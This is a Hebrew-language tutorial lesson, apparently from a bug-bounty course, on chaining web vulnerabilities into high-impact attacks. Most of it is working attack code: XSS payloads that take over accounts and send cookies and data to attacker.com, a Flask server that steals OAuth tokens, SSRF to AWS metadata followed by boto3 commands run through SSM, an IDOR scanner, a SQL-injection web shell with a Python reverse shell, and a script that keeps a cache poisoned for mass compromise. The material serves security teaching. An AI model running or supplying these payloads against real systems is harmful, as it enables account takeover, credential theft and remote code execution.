שרשור חולשות - Vulnerability Chaining¶
מהו chaining חולשות?¶
הchaining חולשות הוא הטכניקה של חיבור מספר חולשות אבטחה - שלעיתים כל אחת מהן לבדה אינה קריטית - לשרשרת תקיפה אחת שמשיגה אימפקט הרסני. זוהי אחת המיומנויות החשובות ביותר של חוקר אבטחה מנוסה.
חולשה בודדת ברמת Medium יכולה להיות משעממת. אבל כשמשרשרים שלוש חולשות ברמת Medium - התוצאה יכולה להיות Account Takeover מלא או RCE.
מתודולוגיה לchaining חולשות¶
שלב 1 - מיפוי שטח התקיפה¶
לפני שמתחילים לחפש שרשראות, צריך להבין את היישום לעומק:
Workflow:
1. Map all endpoints of the application
2. Identify authentication and authorization mechanisms
3. Understand the architecture (microservices, cloud, CDN)
4. Map data flows between components
5. Identify third-party integrations (OAuth, external APIs)
שלב 2 - מציאת חולשות בודדות¶
לאסוף כל חולשה, גם אם נראית חסרת ערך:
- Open Redirect שנראה לא מנוצל
- Self-XSS שדורש אינטראקציה
- SSRF שמוגבל לפרוטוקולים מסוימים
- חשיפת מידע שנראית לא רגישה
- IDOR שחושף רק מידע ציבורי
שלב 3 - זיהוי חיבורים¶
לחפש קשרים בין החולשות:
Key questions:
- Can the output of one vulnerability serve as input to another?
- Does one vulnerability provide access required to exploit another vulnerability?
- Does one vulnerability bypass a protection that prevents exploiting another vulnerability?
- Does combining vulnerabilities raise the impact level?
שלב 4 - בניית שרשרת הexploit¶
לתכנן ולתעד את הזרימה המלאה מתחילתה ועד סופה.
שרשרת 1 - XSS ל-CSRF ל-Account Takeover¶
הרעיון¶
משרשרים XSS שמאפשר הרצת JavaScript בהקשר של הקורבן, עם CSRF שמבצע פעולות בשם הקורבן, כדי להשיג השתלטות מלאה על החשבון.
שלב א - מציאת XSS¶
נניח שמצאנו Stored XSS בשדה הפרופיל:
POST /api/profile HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{
"bio": "<img src=x onerror='eval(atob(\"BASE64_PAYLOAD\"))'>"
}
שלב ב - בדיקת CSRF על שינוי סיסמה¶
נבדוק את נקודת הקצה לשינוי סיסמה:
POST /api/change-password HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{
"new_password": "hacked123",
"confirm_password": "hacked123"
}
אם אין CSRF token או שהוא לא נבדק - יש לנו CSRF.
שלב ג - בניית הexploit המשורשר¶
// The code injected via the XSS
(async () => {
// Step 1 - change the victim's password
await fetch('/api/change-password', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
new_password: 'attacker_password_123',
confirm_password: 'attacker_password_123'
})
});
// Step 2 - change the victim's email
await fetch('/api/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
new_email: 'attacker@evil.com'
})
});
// Step 3 - send the data to the attacker's server
const userData = await fetch('/api/me', {credentials: 'include'});
const data = await userData.json();
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
username: data.username,
email: 'attacker@evil.com',
status: 'account_taken_over'
}));
})();
זרימת התקיפה המלאה¶
1. Attacker injects XSS into their own profile
2. Victim views the attacker's profile
3. The XSS fires in the victim's browser
4. JavaScript changes the victim's password and email
5. Attacker logs in with the new password - full Account Takeover
שרשרת 2 - Open Redirect ל-OAuth Token Theft¶
הרעיון¶
הexploit Open Redirect באתר היעד כדי לגנוב tokens של OAuth.
שלב א - מציאת Open Redirect¶
GET /redirect?url=https://evil.com HTTP/1.1
Host: target.com
HTTP/1.1 302 Found
Location: https://evil.com
שלב ב - הבנת זרימת ה-OAuth¶
Normal flow:
1. User clicks "Sign in with Google"
2. Redirected to: https://accounts.google.com/o/oauth2/auth?
client_id=TARGET_CLIENT_ID&
redirect_uri=https://target.com/oauth/callback&
response_type=code&
scope=email+profile&
state=RANDOM_STATE
3. User approves
4. Google redirects back to: https://target.com/oauth/callback?code=AUTH_CODE&state=RANDOM_STATE
5. target.com exchanges the code for an access token
שלב ג - exploit ל-Open Redirect כ-redirect_uri¶
Attack:
1. Attacker sends the victim a link:
https://accounts.google.com/o/oauth2/auth?
client_id=TARGET_CLIENT_ID&
redirect_uri=https://target.com/redirect?url=https://evil.com/steal&
response_type=code&
scope=email+profile&
state=FAKE_STATE
2. Victim approves (sees that access is to target.com)
3. Google redirects to: https://target.com/redirect?url=https://evil.com/steal&code=AUTH_CODE
4. The Open Redirect redirects to: https://evil.com/steal?code=AUTH_CODE
5. Attacker obtained the authorization code!
שרת לגניבת הטוקן¶
from flask import Flask, request
import requests
app = Flask(__name__)
TARGET_CLIENT_ID = "target_client_id"
TARGET_CLIENT_SECRET = "target_client_secret"
@app.route('/steal')
def steal_token():
auth_code = request.args.get('code')
# Exchange the code for an access token
token_response = requests.post('https://target.com/oauth/token', data={
'grant_type': 'authorization_code',
'code': auth_code,
'redirect_uri': 'https://target.com/oauth/callback',
'client_id': TARGET_CLIENT_ID,
'client_secret': TARGET_CLIENT_SECRET
})
access_token = token_response.json().get('access_token')
# Use the token to access the victim's account
user_info = requests.get('https://target.com/api/me', headers={
'Authorization': f'Bearer {access_token}'
})
with open('stolen_tokens.log', 'a') as f:
f.write(f"Token: {access_token}\nUser: {user_info.text}\n\n")
return "Error occurred", 500 # Hide the attack
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
שרשרת 3 - SSRF ל-Cloud Metadata ל-RCE¶
הרעיון¶
הexploit SSRF כדי לגשת לשירות ה-metadata של הענן, גניבת credentials, ושימוש בהם להשגת RCE.
שלב א - מציאת SSRF¶
POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/"
}
תגובה:
ami-id
ami-launch-index
ami-manifest-path
hostname
iam/
instance-id
instance-type
local-ipv4
public-ipv4
security-groups
שלב ב - גניבת AWS Credentials¶
POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
תגובה:
בקשה נוספת:
POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-production-role"
}
תגובה:
{
"Code": "Success",
"AccessKeyId": "ASIAXXXXXXXXXXX",
"SecretAccessKey": "wJalrXXXXXXXXXXXXXXXXXXX",
"Token": "FwoGZXIvYXdzEBYaDHXXXXXXXXXXXXXXX",
"Expiration": "2026-03-08T12:00:00Z"
}
שלב ג - שימוש ב-Credentials להשגת RCE¶
import boto3
import json
# Use the stolen credentials
session = boto3.Session(
aws_access_key_id='ASIAXXXXXXXXXXX',
aws_secret_access_key='wJalrXXXXXXXXXXXXXXXXXXX',
aws_session_token='FwoGZXIvYXdzEBYaDHXXXXXXXXXXXXXXX',
region_name='us-east-1'
)
# Check permissions
sts = session.client('sts')
identity = sts.get_caller_identity()
print(f"[+] ARN: {identity['Arn']}")
# Attempt to access S3
s3 = session.client('s3')
buckets = s3.list_buckets()
print(f"[+] Buckets: {[b['Name'] for b in buckets['Buckets']]}")
# Attempt to run commands via SSM
ssm = session.client('ssm')
response = ssm.send_command(
InstanceIds=['i-0abcdef1234567890'],
DocumentName='AWS-RunShellScript',
Parameters={'commands': ['id; whoami; cat /etc/shadow']}
)
print(f"[+] Command sent: {response['Command']['CommandId']}")
# Attempt to run a Lambda function
lambda_client = session.client('lambda')
response = lambda_client.invoke(
FunctionName='admin-function',
Payload=json.dumps({'command': 'cat /etc/passwd'})
)
print(f"[+] Result: {response['Payload'].read().decode()}")
שרשרת IMDSv2¶
בסביבות עם IMDSv2, צריך שלב נוסף - קבלת token:
ואז שימוש בו:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: TOKEN_VALUE
שרשרת 4 - IDOR ל-Information Disclosure ל-Privilege Escalation¶
שלב א - מציאת IDOR¶
GET /api/users/1001 HTTP/1.1
Host: target.com
Cookie: session=regular_user_session
HTTP/1.1 200 OK
{
"id": 1001,
"name": "Regular User",
"email": "user@target.com",
"role": "user"
}
שינוי ה-ID:
GET /api/users/1 HTTP/1.1
Host: target.com
Cookie: session=regular_user_session
HTTP/1.1 200 OK
{
"id": 1,
"name": "Admin User",
"email": "admin@target.com",
"role": "admin",
"api_key": "sk-admin-a8f3b2c1d4e5f6789",
"internal_ip": "10.0.1.50",
"last_login_ip": "192.168.1.100"
}
שלב ב - שימוש במידע שהתגלה¶
import requests
# Use the admin's API key
headers = {
'X-API-Key': 'sk-admin-a8f3b2c1d4e5f6789',
'Content-Type': 'application/json'
}
# Privilege escalation - change our role to admin
response = requests.put(
'https://target.com/api/admin/users/1001',
headers=headers,
json={'role': 'admin'}
)
print(f"[+] Privilege escalation: {response.status_code}")
# Access the admin panel
admin_panel = requests.get(
'https://target.com/api/admin/dashboard',
headers=headers
)
print(f"[+] Panel access: {admin_panel.text[:200]}")
סקריפט אוטומטי לסריקת IDOR¶
import requests
import json
from concurrent.futures import ThreadPoolExecutor
BASE_URL = "https://target.com/api/users"
SESSION_COOKIE = "session=regular_user_session"
def check_user(user_id):
try:
response = requests.get(
f"{BASE_URL}/{user_id}",
headers={'Cookie': SESSION_COOKIE},
timeout=5
)
if response.status_code == 200:
data = response.json()
if data.get('role') == 'admin':
print(f"[!] Found admin - ID: {user_id}, "
f"Name: {data.get('name')}, "
f"Email: {data.get('email')}")
return data
except Exception:
pass
return None
# Parallel scan
with ThreadPoolExecutor(max_workers=10) as executor:
results = list(executor.map(check_user, range(1, 10000)))
admins = [r for r in results if r is not None]
print(f"\n[+] Found {len(admins)} admin accounts")
שרשרת 5 - SQL Injection ל-File Write ל-RCE¶
שלב א - זיהוי SQL Injection¶
שלב ב - כתיבת Web Shell דרך INTO OUTFILE¶
GET /search?q=test' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php'-- HTTP/1.1
Host: target.com
אם יש הגבלה על INTO OUTFILE, ניתן לנסות דרך log poisoning:
-- Change the log path
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/uploads/shell.php';
-- Inject PHP via a query
SELECT '<?php system($_GET["cmd"]); ?>';
-- Turn off the log
SET GLOBAL general_log = 'OFF';
שלב ג - הרצת פקודות דרך ה-Web Shell¶
import requests
SHELL_URL = "https://target.com/uploads/shell.php"
def execute(cmd):
response = requests.get(SHELL_URL, params={'cmd': cmd})
return response.text
# Initial scan
print(execute('id'))
print(execute('uname -a'))
print(execute('cat /etc/passwd'))
# Reverse shell
reverse_shell = (
"python3 -c 'import socket,subprocess,os;"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
"s.connect((\"attacker.com\",4444));"
"os.dup2(s.fileno(),0);"
"os.dup2(s.fileno(),1);"
"os.dup2(s.fileno(),2);"
"subprocess.call([\"/bin/sh\",\"-i\"])'"
)
execute(reverse_shell)
שרשרת 6 - Prototype Pollution ל-XSS ל-Admin Account Takeover¶
שלב א - מציאת Prototype Pollution¶
// Endpoint that receives JSON and does a deep merge
// POST /api/settings
// {"__proto__": {"isAdmin": true}}
// Or via query parameters:
// GET /page?__proto__[polluted]=true
שלב ב - exploit ל-XSS¶
POST /api/user/settings HTTP/1.1
Host: target.com
Content-Type: application/json
{
"__proto__": {
"innerHTML": "<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>",
"srcdoc": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>",
"onload": "fetch('https://attacker.com/steal?c='+document.cookie)"
}
}
שלב ג - גניבת סשן אדמין¶
// The code that runs in the admin's context
(async () => {
// Steal the cookie
const cookies = document.cookie;
// Steal the CSRF token
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;
// Create a new admin account
await fetch('/admin/users/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify({
username: 'backdoor_admin',
password: 'P@ssw0rd123!',
role: 'super_admin',
email: 'attacker@evil.com'
})
});
// Send all the data to the attacker
navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify({
cookies, csrfToken,
url: window.location.href
}));
})();
שרשרת 7 - Cache Poisoning ל-Stored XSS ל-Mass Account Compromise¶
שלב א - זיהוי Cache Poisoning¶
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
HTTP/1.1 200 OK
X-Cache: miss
...
<script src="https://evil.com/resources/main.js"></script>
בקשה נוספת (מהcache):
GET / HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
X-Cache: hit
...
<script src="https://evil.com/resources/main.js"></script>
שלב ב - הגשת JavaScript זדוני¶
הקובץ main.js בשרת התוקף:
// Step 1 - steal data from every visitor
const sessionData = {
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
url: window.location.href,
userAgent: navigator.userAgent
};
// Step 2 - attempt to change password if the user is logged in
async function compromiseAccount() {
try {
// Check if the user is logged in
const meResponse = await fetch('/api/me', {credentials: 'include'});
if (meResponse.status !== 200) return;
const user = await meResponse.json();
// Change the email
await fetch('/api/settings/email', {
method: 'PUT',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({email: `${user.id}@attacker-domain.com`})
});
// Request a password reset to the new email
await fetch('/api/reset-password', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: `${user.id}@attacker-domain.com`})
});
sessionData.userId = user.id;
sessionData.username = user.username;
sessionData.compromised = true;
} catch (e) {
sessionData.error = e.message;
}
// Send the data
navigator.sendBeacon('https://attacker.com/mass-collect',
JSON.stringify(sessionData));
}
compromiseAccount();
שלב ג - הרחבת ההתקפה¶
import requests
import time
def poison_cache(target_url, evil_host):
"""Continuously poison the cache"""
while True:
for path in ['/', '/login', '/dashboard', '/profile']:
response = requests.get(
f"{target_url}{path}",
headers={
'X-Forwarded-Host': evil_host,
'X-Forwarded-Scheme': 'https'
}
)
cache_status = response.headers.get('X-Cache', 'unknown')
print(f"[*] {path}: Cache={cache_status}")
# Maintain the cache poisoning
time.sleep(30)
poison_cache('https://target.com', 'evil.com')
איך לזהות חולשות הניתנות לchaining¶
מטריצת chaining¶
Source (first vulnerability) -> Target (second vulnerability)
================================================
XSS -> CSRF, Session Hijacking, Keylogging
SSRF -> Cloud Metadata, Internal Services, Port Scan
Open Redirect -> OAuth Theft, Phishing, Token Leakage
IDOR -> Info Disclosure, Priv Escalation
SQLi -> Data Leak, File Write, RCE
Prototype Pollution -> XSS, Logic Bypass, DoS
Cache Poisoning -> XSS, Phishing, Mass Compromise
CORS Misconfiguration -> Data Theft, CSRF
CRLF Injection -> XSS, Session Fixation, Cache Poisoning
Path Traversal -> Source Code Disclosure, Config Leak
כלים לזיהוי שרשראות¶
# Simple script that maps potential vulnerabilities and suggests chains
CHAINS = {
'xss': ['csrf', 'session_hijack', 'account_takeover'],
'ssrf': ['metadata', 'internal_scan', 'rce'],
'open_redirect': ['oauth_theft', 'phishing'],
'idor': ['info_disclosure', 'privilege_escalation'],
'sqli': ['file_write', 'rce', 'data_exfiltration'],
'prototype_pollution': ['xss', 'logic_bypass'],
'cache_poisoning': ['xss', 'mass_compromise'],
}
def suggest_chains(found_vulns):
"""Suggest chains based on vulnerabilities found"""
suggestions = []
for vuln in found_vulns:
if vuln in CHAINS:
for target in CHAINS[vuln]:
suggestions.append(f"{vuln} -> {target}")
# Check a deeper chain
if target in CHAINS:
for deep_target in CHAINS[target]:
suggestions.append(
f"{vuln} -> {target} -> {deep_target}"
)
return suggestions
# Example
found = ['ssrf', 'open_redirect', 'xss']
for chain in suggest_chains(found):
print(f"[*] Possible chain: {chain}")
הכפלת אימפקט¶
טבלת הסלמה¶
Original severity Chain New severity
=================================================================
Low (XSS) + CSRF + Password Change = Critical
Low (SSRF) + Cloud Metadata + RCE = Critical
Info (IDOR) + Admin API Key + Priv Escalation = Critical
Medium (SQLi) + File Write + Web Shell = Critical
Low (Redirect) + OAuth Theft + Account Takeover = High
Low (PP) + XSS + Admin Takeover = Critical
Medium (Cache) + XSS + Mass Compromise = Critical
דוגמה מעולם באגים אמיתי¶
Report: Self-XSS in an internal notes field
Original severity: Informative (no payout)
Chain: Self-XSS + Login CSRF + Stored XSS + Admin Panel Access
New severity: Critical
Payout: $15,000
סיכום¶
הchaining חולשות דורש חשיבה יצירתית והבנה עמוקה של היישום. הנקודות העיקריות:
- אסוף כל חולשה - גם אם נראית חסרת ערך
- מפה קשרים בין חולשות - מהי הפלט של אחת שיכול להיות קלט לאחרת
- חשוב על זרימות - איך נתונים עוברים בין components
- תרגל - בנה שרשראות על יישומים פגיעים
- תעד הכל - שרשרת טובה שמתועדת גרוע שווה פחות
בשיעור הבא נלמד איך להפוך ממצאים ברמת Low לממצאים קריטיים.